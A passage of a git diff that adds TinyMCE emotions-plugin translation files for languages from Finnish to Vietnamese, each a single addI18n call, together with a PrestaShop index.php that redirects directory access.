right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/fi_dlg.js b/js/tiny_mce2/plugins/emotions/langs/fi_dlg.js new file mode 100755 index 0000000..7e620dd --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.emotions_dlg',{cry:"Itku",cool:"Cool",desc:"Hymi\u00f6t",title:"Lis\u00e4\u00e4 hymi\u00f6",yell:"Huuto",wink:"Silm\u00e4nisku",undecided:"P\u00e4\u00e4tt\u00e4m\u00e4t\u00f6n","tongue_out":"Kieli ulkona",surprised:"Yll\u00e4ttynyt",smile:"Hymy",sealed:"Tukittu","money_mouth":"Klink Klink (raha)",laughing:"Nauru",kiss:"Pusu",innocent:"Viaton",frown:"Otsan rypistys","foot_in_mouth":"Jalka suussa",embarassed:"Nolostunut",usage:"K\u00e4yt\u00e4 vasenta ja oikeata nuolin\u00e4pp\u00e4int\u00e4 navigointiin."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/fr_dlg.js b/js/tiny_mce2/plugins/emotions/langs/fr_dlg.js new file mode 100755 index 0000000..971cf09 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.emotions_dlg',{cry:"En pleurs",cool:"Cool",desc:"\u00c9motic\u00f4nes",title:"Ins\u00e9rer une \u00e9motic\u00f4ne",yell:"Criant",wink:"Clin d\'\u0153il",undecided:"Incertain","tongue_out":"Langue tir\u00e9e",surprised:"Surpris",smile:"Sourire",sealed:"Bouche cousue","money_mouth":"Avare",laughing:"Rigolant",kiss:"Bisou",innocent:"Innocent",frown:"D\u00e9\u00e7u","foot_in_mouth":"Pied de nez",embarassed:"Embarrass\u00e9",usage:"Utilisez les fl\u00e8ches gauche et droite pour naviguer."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/gl_dlg.js b/js/tiny_mce2/plugins/emotions/langs/gl_dlg.js new file mode 100755 index 0000000..790050a --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.emotions_dlg',{cry:"Chora",cool:"Guay",desc:"Emoticones",title:"Insertar emoticon",yell:"Anoxado",wink:"Gui\u00f1o",undecided:"Indeciso","tongue_out":"Canso",surprised:"Sorprendido",smile:"Sorriso",sealed:"Selado","money_mouth":"Cartos",laughing:"Risa",kiss:"Beso",innocent:"Inocente",frown:"Triste","foot_in_mouth":"A que dixen",embarassed:"Vergo\u00f1a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/he_dlg.js b/js/tiny_mce2/plugins/emotions/langs/he_dlg.js new file mode 100755 index 0000000..2664cd2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.emotions_dlg',{cry:"\u05d1\u05d5\u05db\u05d4",cool:"\u05de\u05d2\u05e0\u05d9\u05d1",desc:"\u05e1\u05de\u05d9\u05d9\u05dc\u05d9\u05dd",title:"\u05d4\u05d5\u05e1\u05e4\u05ea \u05e1\u05de\u05d9\u05d9\u05dc\u05d9",yell:"\u05e6\u05e2\u05e7\u05d4",wink:"\u05e7\u05e8\u05d9\u05e6\u05d4",undecided:"\u05d4\u05e1\u05e0\u05e0\u05d9","tongue_out":"\u05dc\u05e9\u05d5\u05df \u05d1\u05d7\u05d5\u05e5",surprised:"\u05de\u05d5\u05e4\u05ea\u05e2",smile:"\u05d7\u05d9\u05d5\u05da",sealed:"\u05d0\u05d8\u05d5\u05dd","money_mouth":"\u05db\u05e1\u05e3",laughing:"\u05e6\u05d5\u05d7\u05e7",kiss:"\u05e0\u05e9\u05d9\u05e7\u05d4",innocent:"\u05ea\u05de\u05d9\u05dd",frown:"\u05de\u05d6\u05e2\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e4\u05d4","foot_in_mouth":"\u05e8\u05d2\u05dc \u05d1\u05e4\u05d4",embarassed:"\u05e0\u05d1\u05d5\u05da",usage:"\u05d4\u05e9\u05ea\u05de\u05e9\u05d5 \u05d1\u05d7\u05e5 \u05d9\u05de\u05d9\u05e0\u05d4 \u05d5\u05e9\u05de\u05d0\u05dc\u05d4 \u05dc\u05e0\u05d9\u05d5\u05d5\u05d8"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/hu_dlg.js b/js/tiny_mce2/plugins/emotions/langs/hu_dlg.js new file mode 100755 index 0000000..b48285b --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.emotions_dlg',{cry:"S\u00edr\u00f3s",cool:"Kir\u00e1ly",desc:"Hangulatjelek",title:"Hangulatjel besz\u00far\u00e1sa",yell:"\u00dcv\u00f6lt\u00e9s",wink:"Kacsint\u00e1s",undecided:"Hat\u00e1rozatlan","tongue_out":"Nyelv\u00f6lt\u00e9s",surprised:"Meglepett",smile:"Vigyor",sealed:"Lakat a sz\u00e1j\u00e1n","money_mouth":"P\u00e9nz besz\u00e9l",laughing:"Nevet\u00e9s",kiss:"Cs\u00f3k",innocent:"\u00c1rtatlan",frown:"Rosszall","foot_in_mouth":"L\u00e1b a sz\u00e1jban",embarassed:"Zavarban van",usage:"A navig\u00e1l\u00e1shoz haszn\u00e1ld a bal \u00e9s jobb oldali nyilat."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/id_dlg.js b/js/tiny_mce2/plugins/emotions/langs/id_dlg.js new file mode 100755 index 0000000..72270f4 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.emotions_dlg',{cry:"Cry",cool:"Cool",desc:"Emotions",title:"sisipkan emotion",yell:"Yell",wink:"Wink",undecided:"Undecided","tongue_out":"Tongue out",surprised:"Surprised",smile:"Smile",sealed:"Sealed","money_mouth":"Money mouth",laughing:"Laughing",kiss:"Kiss",innocent:"Innocent",frown:"Frown","foot_in_mouth":"Foot in mouth",embarassed:"Embarassed"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/index.php b/js/tiny_mce2/plugins/emotions/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/emotions/langs/it_dlg.js b/js/tiny_mce2/plugins/emotions/langs/it_dlg.js new file mode 100755 index 0000000..0699866 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.emotions_dlg',{cry:"Piango",cool:"Fico",desc:"Faccina",title:"Inserisci faccina",yell:"Arrabbiato",wink:"Occhiolino",undecided:"Indeciso","tongue_out":"Linguaccia",surprised:"Sorpreso",smile:"Sorridente",sealed:"Bocca sigillata","money_mouth":"Bocca danarosa",laughing:"Risatona",kiss:"Bacio",innocent:"Santarellino",frown:"Triste","foot_in_mouth":"Piede in bocca",embarassed:"Imbarazzato",usage:"Utilizza le freccie sinistra e destra per navigare."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/ja_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ja_dlg.js new file mode 100755 index 0000000..7ff287f --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.emotions_dlg',{cry:"\u6ce3\u304d\u9854",cool:"\u30af\u30fc\u30eb",desc:"\u8868\u60c5\u30a2\u30a4\u30b3\u30f3",title:"\u8868\u60c5\u30a2\u30a4\u30b3\u30f3\u306e\u633f\u5165",yell:"\u30a8\u30fc\u30eb",wink:"\u30a6\u30a3\u30f3\u30af",undecided:"\u672a\u6c7a\u5b9a","tongue_out":"\u30a2\u30c3\u30ab\u30f3\u30d9\u30fc",surprised:"\u9a5a\u304d",smile:"\u7b11\u9854",sealed:"\u5c01\u5370","money_mouth":"\u53e3\u306b\u304a\u91d1",laughing:"\u7b11\u3044",kiss:"\u30ad\u30b9",innocent:"\u7d14\u771f\u7121\u57a2",frown:"\u6e0b\u9762","foot_in_mouth":"\u53e3\u306b\u8db3",embarassed:"\u56f0\u60d1",usage:"\u5de6\u3068\u53f3\u306e\u30ab\u30fc\u30bd\u30eb\u30ad\u30fc\u3067\u79fb\u52d5\u3057\u3066\u304f\u3060\u3055\u3044\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/ka_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ka_dlg.js new file mode 100755 index 0000000..a2b76b3 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.emotions_dlg',{cry:"\u10d5\u10e2\u10d8\u10e0\u10d8\u10d5\u10d0\u10e0",cool:"\u10db\u10d0\u10d2\u10d0\u10e0\u10d8\u10d0!",desc:"\u10e1\u10db\u10d0\u10d8\u10da\u10d4\u10d1\u10d8",title:"\u10e1\u10db\u10d0\u10d8\u10da\u10d8\u10e1 \u10d0\u10e0\u10e9\u10d4\u10d5\u10d0",yell:"\u10d5\u10e7\u10d5\u10d8\u10e0\u10d8\u10d5\u10d0\u10e0",wink:"\u10d7\u10d5\u10d0\u10da\u10e1 \u10d2\u10d8\u10de\u10d0\u10ed\u10e3\u10dc\u10d4\u10d1",undecided:"\u10d5\u10d4\u10e0 \u10d2\u10d0\u10d3\u10d0\u10d5\u10ec\u10e7\u10d5\u10d8\u10e2\u10d4","tongue_out":"\u10d4\u10dc\u10d0\u10e1 \u10d2\u10d8\u10e7\u10dd\u10e4",surprised:"\u10d2\u10d0\u10db\u10d8\u10d9\u10d5\u10d8\u10e0\u10d3\u10d0",smile:"\u10d5\u10d8\u10e6\u10d8\u10db\u10d8",sealed:"\u10e1\u10d0\u10d8\u10d3\u10e3\u10db\u10da\u10dd \u10e9\u10d4\u10db\u10d7\u10d0\u10dc \u10d4\u10e0\u10d7\u10d0\u10d3 \u10db\u10dd\u10d9\u10d5\u10d3\u10d4\u10d1\u10d0","money_mouth":"\u10e4\u10e3\u10da\u10d8! \u10e4\u10e3\u10da\u10d8!",laughing:"\u10d2\u10e0\u10d4\u10e9\u10d8\u10ee\u10d0 \u10db\u10d0\u10d8\u10dc\u10ea \u10e0\u10d0 \u10d3\u10d4\u10d1\u10d8\u10da\u10d8\u10d0!",kiss:"\u10d2\u10d9\u10dd\u10ea\u10dc\u10d8",innocent:"\u10e3\u10db\u10d0\u10dc\u10d9\u10dd \u10d5\u10d0\u10e0",frown:"\u10d5\u10d8\u10e6\u10e0\u10e3\u10d1\u10da\u10d4\u10d1\u10d8","foot_in_mouth":"\u10e2\u10e4\u10e3\u10d8",embarassed:"\u10d2\u10d0\u10d5\u10ec\u10d8\u10d7\u10da\u10d3\u10d8"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/ko_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ko_dlg.js new file mode 100755 index 0000000..d714466 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.emotions_dlg',{cry:"\uc6b8\uc74c",cool:"\ucfe8",desc:"\uc774\ubaa8\ud2f0\ucf58",title:"\uc774\ubaa8\ud2f0\ucf58 \uc0bd\uc785",yell:"\uc678\uce5c\ub2e4",wink:"\uc719\ud06c",undecided:"\uace0\ubbfc\ud55c\ub2e4","tongue_out":"\uba54\ub871",surprised:"\ub180\ub77c\uc6c0",smile:"\uc2a4\ub9c8\uc77c",sealed:"\ubd09\uc778","money_mouth":"\ub3c8",laughing:"\uc6c3\uc74c",kiss:"Kiss",innocent:"\ucc9c\uc9c4\ub09c\ub9cc",frown:"\ucc21\uadf8\ub9b0 \uc5bc\uad74","foot_in_mouth":"\uc2e4\uc5b8",embarassed:"\ubd80\ub044\ub7ec\uc6c0"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/lt_dlg.js b/js/tiny_mce2/plugins/emotions/langs/lt_dlg.js new file mode 100755 index 0000000..d1d4006 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.emotions_dlg',{cry:"Verksmas",cool:"J\u0117ga",desc:"Jaustukai",title:"\u012eterpti jaustuk\u0105",yell:"Klyksmas",wink:"Mirk\u010diojimas",undecided:"Neapsisprend\u0119s","tongue_out":"I\u0161ki\u0161tas lie\u017euvis",surprised:"Nusteb\u0119s",smile:"\u0160ypsena",sealed:"Sandarus","money_mouth":"Piniginga burna",laughing:"Juokimasis",kiss:"Bu\u010dinys",innocent:"Nekaltas",frown:"Susirauk\u0119s","foot_in_mouth":"Koja burnoje",embarassed:"Susig\u0117d\u0119s",usage:"Naudokite kair\u0117s ir de\u0161in\u0117s rodykles norint nar\u0161yti."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/nl_dlg.js b/js/tiny_mce2/plugins/emotions/langs/nl_dlg.js new file mode 100755 index 0000000..0e7d7ba --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.emotions_dlg',{cry:"Huilen",cool:"Stoer",desc:"Emoties",title:"Emotie invoegen",yell:"Roepen",wink:"Knipogen",undecided:"Onbeslist","tongue_out":"Tong uitsteken",surprised:"Verrast",smile:"Lachen",sealed:"Afgesloten","money_mouth":"Hebberig",laughing:"Lachen",kiss:"Zoenen",innocent:"Onschuldig",frown:"Wenkbrauw ophalen","foot_in_mouth":"Verstomd",embarassed:"Schamen",usage:"Gebruik linker en rechter pijltjestoetsen om te navigeren."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/no_dlg.js b/js/tiny_mce2/plugins/emotions/langs/no_dlg.js new file mode 100755 index 0000000..66973a8 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.emotions_dlg',{cry:"Griner",cool:"Cool",desc:"Hum\u00f8rfjes",title:"Sett inn hum\u00f8rfjes",yell:"Skrik",wink:"Blunke",undecided:"Skeptisk","tongue_out":"Rekke tunge",surprised:"Overrasket",smile:"Smil",sealed:"Lukket","money_mouth":"Penger i munnen",laughing:"Ler",kiss:"Kyss",innocent:"Uskyldig",frown:"Skummer","foot_in_mouth":"Fot i munnen",embarassed:"Flau",usage:"Bruk h\u00f8yre og venstre piler for \u00e5 velge."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/pl_dlg.js b/js/tiny_mce2/plugins/emotions/langs/pl_dlg.js new file mode 100755 index 0000000..4e67692 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.emotions_dlg',{cry:"P\u0142acz",cool:"Wyluzowany",desc:"Emotikony",title:"Wstaw emotikon\u0119",yell:"Krzyk",wink:"Mrugni\u0119cie",undecided:"Niezdecydowany","tongue_out":"Wystawiony j\u0119zyk",surprised:"Zaskoczony",smile:"U\u015bmiech",sealed:"Zaklepany","money_mouth":"Zaanga\u017cowany",laughing:"\u015amiech",kiss:"Poca\u0142unek",innocent:"Niewinny",frown:"Dezaprobata","foot_in_mouth":"Niewyparzona g\u0119ba",embarassed:"Zmieszany",usage:"U\u017cywaj strza\u0142ek w lewo i w prawo do nawigacji."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/pt_dlg.js b/js/tiny_mce2/plugins/emotions/langs/pt_dlg.js new file mode 100755 index 0000000..2209594 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.emotions_dlg',{cry:"Chor\u00e3o",cool:"Fixe",desc:"Emoticons",title:"Inserir emoticon",yell:"Irado",wink:"Piscadela",undecided:"Indeciso","tongue_out":"L\u00edngua de fora",surprised:"Surpresa",smile:"Sorriso",sealed:"Boca Fechada","money_mouth":"Avarez",laughing:"Riso",kiss:"Beijo",innocent:"Inocente",frown:"Decep\u00e7\u00e3o","foot_in_mouth":"Disse asneira",embarassed:"Embara\u00e7ado",usage:"Use as setas esquerda e direita para navegar."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/ro_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ro_dlg.js new file mode 100755 index 0000000..ca0aa34 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.emotions_dlg',{cry:"Trist",cool:"Cool",desc:"Figurine emotive",title:"Insereaz\u0103 o figurin\u0103",yell:"\u021aip\u0103",wink:"Face cu ochiul",undecided:"Indecis","tongue_out":"Cu limba afar\u0103",surprised:"Surprins",smile:"Z\u00e2mbet",sealed:"Sigilat","money_mouth":"Bani \u00een gur\u0103",laughing:"R\u00e2de",kiss:"Pupic",innocent:"Nevinovat",frown:"\u00cencruntat","foot_in_mouth":"Picior \u00een gur\u0103",embarassed:"Ru\u015finat",usage:"Folose\u0219te s\u0103ge\u021bile st\u00e2nga \u0219i dreapta pentru navigare."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/ru_dlg.js b/js/tiny_mce2/plugins/emotions/langs/ru_dlg.js new file mode 100755 index 0000000..be9f3bc --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.emotions_dlg',{cry:"\u041f\u043b\u0430\u0447\u0443",cool:"\u041a\u0440\u0443\u0442\u043e\u0439",desc:"\u0421\u043c\u0430\u0439\u043b\u044b",title:"\u0412\u044b\u0431\u043e\u0440 \u0441\u043c\u0430\u0439\u043b\u0430",yell:"\u041a\u0440\u0438\u0447\u0443",wink:"\u041f\u043e\u0434\u043c\u0438\u0433\u0438\u0432\u0430\u044e",undecided:"\u0412 \u043d\u0435\u0440\u0435\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438","tongue_out":"\u0414\u0440\u0430\u0437\u043d\u044e\u0441\u044c",surprised:"\u0423\u0434\u0438\u0432\u043b\u044f\u044e\u0441\u044c",smile:"\u0423\u043b\u044b\u0431\u0430\u044e\u0441\u044c",sealed:"\u041d\u0435\u043c \u043a\u0430\u043a \u0440\u044b\u0431\u0430","money_mouth":"\u0414\u0435\u043d\u044c\u0433\u0438",laughing:"\u0421\u043c\u0435\u044e\u0441\u044c",kiss:"\u041f\u043e\u0446\u0435\u043b\u0443\u0439",innocent:"\u0410\u043d\u0433\u0435\u043b",frown:"\u0425\u043c\u0443\u0440\u044e\u0441\u044c","foot_in_mouth":"\u0412 \u0440\u043e\u0442 \u043c\u043d\u0435 \u043d\u043e\u0433\u0438",embarassed:"\u041a\u0440\u0430\u0441\u043d\u0435\u044e",usage:"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \"\u0412\u043b\u0435\u0432\u043e\" \u0438 \"\u0412\u043f\u0440\u0430\u0432\u043e\" \u0434\u043b\u044f \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/sk_dlg.js b/js/tiny_mce2/plugins/emotions/langs/sk_dlg.js new file mode 100755 index 0000000..34187f3 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.emotions_dlg',{cry:"Pla\u010d\u00faci",cool:"\u00da\u017easn\u00fd",desc:"Emotikony",title:"Vlo\u017ei\u0165 emotikonu",yell:"Kri\u010diaci",wink:"\u017dmurkaj\u00faci",undecided:"Nerozhodn\u00fd","tongue_out":"S vyplazen\u00fdm jazykom",surprised:"Prekvapen\u00fd",smile:"Usmiaty",sealed:"Ml\u010diaci","money_mouth":"Je na prachy",laughing:"Smej\u00faci sa",kiss:"Bozkaj\u00faci",innocent:"Nevinn\u00fd",frown:"Zamra\u010den\u00fd","foot_in_mouth":"\u0160liapol ved\u013ea",embarassed:"Zahanben\u00fd",usage:"Pou\u017eite \u0161\u00edpky vpravo a v\u013eavo"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/sl_dlg.js b/js/tiny_mce2/plugins/emotions/langs/sl_dlg.js new file mode 100755 index 0000000..17879d2 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.emotions_dlg',{cry:"jok",cool:"kul",desc:"Sme\u0161ki",title:"Vstavi sme\u0161ka",yell:"krik",wink:"me\u017eik",undecided:"neodlo\u010den","tongue_out":"ka\u017ee jezik",surprised:"presene\u010den",smile:"nasmeh",sealed:"zape\u010dateno","money_mouth":"zlati kljun",laughing:"smeh",kiss:"poljub",innocent:"nedol\u017een",frown:"nagubano \u010delo","foot_in_mouth":"zare\u010deni kruh",embarassed:"v zadregi",usage:"Za navigacijo uporabite tipki levo in desno"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/sv_dlg.js b/js/tiny_mce2/plugins/emotions/langs/sv_dlg.js new file mode 100755 index 0000000..c36ebee --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.emotions_dlg',{cry:"Gr\u00e5ter",cool:"Cool",desc:"Smileys",title:"Infoga smiley",yell:"Skrikandes",wink:"Fl\u00f6rt",undecided:"Obest\u00e4md","tongue_out":"Tungan ute",surprised:"F\u00f6rv\u00e5nad",smile:"Glad",sealed:"Tyst","money_mouth":"Guld i mun",laughing:"Skrattande",kiss:"Kyss",innocent:"Oskyldig",frown:"Rynkar p\u00e5 n\u00e4san","foot_in_mouth":"Foten i munnen",embarassed:"Sk\u00e4ms",usage:"Anv\u00e4nd v\u00e4nster och h\u00f6ger pil f\u00f6r att navigera"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/th_dlg.js b/js/tiny_mce2/plugins/emotions/langs/th_dlg.js new file mode 100755 index 0000000..6039d65 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.emotions_dlg',{cry:"\u0e23\u0e49\u0e2d\u0e07\u0e44\u0e2b\u0e49",cool:"\u0e40\u0e08\u0e4b\u0e07",desc:"\u0e44\u0e2d\u0e04\u0e2d\u0e19\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e44\u0e2d\u0e04\u0e2d\u0e19\u0e41\u0e2a\u0e14\u0e07\u0e2d\u0e32\u0e23\u0e21\u0e13\u0e4c",yell:"\u0e42\u0e27\u0e22\u0e27\u0e32\u0e22",wink:"\u0e02\u0e22\u0e34\u0e1a\u0e15\u0e32",undecided:"\u0e25\u0e31\u0e07\u0e40\u0e25","tongue_out":"\u0e41\u0e25\u0e1a\u0e25\u0e34\u0e49\u0e19",surprised:"\u0e1b\u0e23\u0e30\u0e2b\u0e25\u0e32\u0e14\u0e43\u0e08",smile:"Smile",sealed:"\u0e1b\u0e34\u0e14\u0e1b\u0e32\u0e01","money_mouth":"\u0e40\u0e07\u0e34\u0e19\u0e46\u0e46\u0e46",laughing:"\u0e2b\u0e31\u0e27\u0e40\u0e23\u0e32\u0e30",kiss:"\u0e08\u0e39\u0e1a",innocent:"\u0e44\u0e23\u0e49\u0e40\u0e14\u0e35\u0e22\u0e07\u0e2a\u0e32",frown:"\u0e1a\u0e36\u0e49\u0e07\u0e15\u0e36\u0e07","foot_in_mouth":"\u0e1b\u0e34\u0e14\u0e1b\u0e32\u0e01",embarassed:"\u0e2d\u0e32\u0e22",usage:"\u0e43\u0e0a\u0e49\u0e25\u0e39\u0e01\u0e28\u0e23\u0e0b\u0e49\u0e32\u0e22\u0e41\u0e25\u0e30\u0e02\u0e27\u0e32\u0e40\u0e1e\u0e37\u0e48\u0e2d\u0e19\u0e33\u0e17\u0e32\u0e07"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/tr_dlg.js b/js/tiny_mce2/plugins/emotions/langs/tr_dlg.js new file mode 100755 index 0000000..ab37837 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.emotions_dlg',{cry:"A\u011flayan",cool:"Sakin",desc:"\u0130fadeler",title:"\u0130fade ekle",yell:"Ba\u011f\u0131rma",wink:"G\u00f6z k\u0131rpma",undecided:"Karars\u0131z","tongue_out":"Dil \u00e7\u0131karma",surprised:"\u015ea\u015f\u0131rma",smile:"G\u00fcl\u00fcmseme",sealed:"Gizli","money_mouth":"Para g\u00f6z",laughing:"Kahkaha",kiss:"\u00d6p\u00fcc\u00fck",innocent:"Masum",frown:"As\u0131k","foot_in_mouth":"Pot k\u0131rm\u0131\u015f",embarassed:"Utanga\u00e7"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/tw_dlg.js b/js/tiny_mce2/plugins/emotions/langs/tw_dlg.js new file mode 100755 index 0000000..49a9319 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.emotions_dlg',{cry:"\u54ed\u6ce3",cool:"\u9177",desc:"\u8868\u60c5\u5217\u8868",title:"\u63d2\u5165\u8868\u60c5",yell:"\u5927\u53eb",wink:"\u7728\u773c",undecided:"\u601d\u8003","tongue_out":"\u5410\u820c\u982d",surprised:"\u9a5a\u8a1d",smile:"\u5fae\u7b11",sealed:"\u4fdd\u5bc6","money_mouth":"\u767c\u8ca1",laughing:"\u5927\u7b11",kiss:"\u543b",innocent:"\u5929\u771f",frown:"\u76ba\u7709","foot_in_mouth":"\u54a7\u5634",embarassed:"\u5c37\u5c2c"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/uk_dlg.js b/js/tiny_mce2/plugins/emotions/langs/uk_dlg.js new file mode 100755 index 0000000..ec10c33 --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.emotions_dlg',{cry:"\u041f\u043b\u0430\u0447",cool:"Cool",desc:"\u041f\u043e\u0441\u043c\u0456\u0448\u043a\u0438",title:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0441\u043c\u0456\u0448\u043a\u0443",yell:"\u0417\u043e\u0439\u043a",wink:"\u041f\u0456\u0434\u043c\u043e\u0440\u0433\u0443\u0454",undecided:"\u041d\u0435\u0440\u0456\u0448\u0443\u0447\u0456\u0441\u0442\u044c","tongue_out":"\u041f\u043e\u043a\u0430\u0437\u0443\u0454 \u044f\u0437\u0438\u043a\u0430",surprised:"\u0417\u0434\u0438\u0432\u043e\u0432\u0430\u043d\u0456\u0441\u0442\u044c",smile:"\u041f\u043e\u0441\u043c\u0456\u0448\u043a\u0430",sealed:"Sealed","money_mouth":"\u0413\u0440\u043e\u0449\u0456 \u0432 \u0440\u043e\u0442\u0456",laughing:"\u0421\u043c\u0456\u0445",kiss:"\u041f\u043e\u0446\u0456\u043b\u0443\u043d\u043e\u043a",innocent:"\u041d\u0435\u0432\u0438\u043d\u043d\u0456\u0441\u0442\u044c",frown:"\u041d\u0430\u0441\u0443\u043f\u043b\u0435\u043d\u043d\u0456\u0441\u0442\u044c","foot_in_mouth":"\u041d\u043e\u0433\u0430 \u0432 \u0440\u043e\u0442\u0456",embarassed:"\u0417\u0431\u0435\u043d\u0442\u0435\u0436\u0435\u043d\u043d\u044f",usage:"Use left and right arrows to navigate."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/emotions/langs/vi_dlg.js b/js/tiny_mce2/plugins/emotions/langs/vi_dlg.js new file mode 100755 index 0000000..b77323c --- /dev/null +++ b/js/tiny_mce2/plugins/emotions/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.emotions_dlg',{cry:"Kh\u00f3c",cool:"Kh\u00f4ng bi\u1ebft ng\u01b0\u1ee3ng",desc:"Bi\u1ec3u T\u01b0\u1ee3ng C\u1ea3m X\u00fac",title:"Bi\u1ec3u T\u01b0\u1ee3ng C\u1ea3m X\u00fac",yell:"La h\u00e9t",wink:"Nh\u00e1y m\u1eaft",undecided:"L\u01b0\u1ee1ng l\u1ef1","tongue_out":"L\u00e8 l\u01b0\u1ee1i",surprised:"Ng\u1ea1c nhi\u00ean",smile:"M\u1ec9m c\u01b0\u1eddi",sealed:"K\u00edn mi\u1ec7ng","money_mouth":"S\u00e1ng m\u1eaft v\u00ec $",laughing:"C\u01b0\u1eddi nh\u0103n 